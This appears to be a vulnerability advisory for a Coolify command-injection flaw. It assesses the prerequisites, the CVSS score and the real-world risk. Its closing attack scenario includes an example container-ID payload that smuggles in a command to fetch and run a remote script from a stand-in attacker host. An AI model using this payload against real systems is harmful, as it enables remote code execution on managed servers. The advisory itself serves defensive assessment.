Coolify EUVD-2026-41983

Exploitation requires an authenticated Coolify team account (CVSS PR:L) and access to the Livewire Server\Resources component's startUnmanaged, stopUnmanaged, or restartUnmanaged methods - the attacker supplies a malicious container ID parameter containing shell metacharacters, which Coolify interpolates unescaped into an SSH-executed shell command. The exact prerequisite is: any user who is a member of a team and can reach the Coolify UI's resource/server management endpoints. There must also be at least one managed server for the command to be dispatched to. Limiting factors: this is NOT anonymous/unauthenticated (a team account is mandatory), no admin role is required (any team member suffices), and no user interaction from a victim is needed. In a single-operator self-hosted install the only team members are the trusted admins, which sharply narrows realistic risk; in multi-tenant or organization-wide Coolify deployments the low privilege requirement makes it a practical insider-to-RCE escalation.

The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, base 8.8) indicates network-reachable, low-complexity exploitation requiring only low privileges (PR:L) and no user interaction, with full compromise (C:H/I:H/A:H) of the affected system. The PR:L is meaningful: the attacker must already be an authenticated member of a Coolify team, which limits the population to insiders or attackers who have obtained/created a team account - this is not an anonymous internet-wide RCE. However, once that low bar is met, exploitation is essentially guaranteed and yields arbitrary OS command execution across every server Coolify manages, so the real-world impact is severe (lateral movement and root-level control of downstream hosts via Coolify's privileged SSH keys). No EPSS score was supplied in the input, and the CVE is not listed in CISA KEV, with no POC referenced - so there is no evidence of active or automated exploitation yet. Net assessment: a genuine high priority for anyone running multi-tenant or shared Coolify instances (privilege escalation from limited team member to server-wide RCE), and lower urgency for single-admin self-hosted deployments where the only 'team members' are already trusted. Missing signal to note: EPSS and POC status are unknown from the provided data.

A low-privileged member of a Coolify team opens the browser dev tools (or a crafted request) and invokes the Livewire startUnmanaged method with a container ID payload such as 'x; curl attacker.sh | bash'. Coolify concatenates this into a shell command and executes it over SSH on the selected managed server, running the attacker's commands with Coolify's SSH privileges. No public exploit identified at time of analysis, but the network vector and low attack complexity (AC:L) make weaponization trivial for any authenticated user.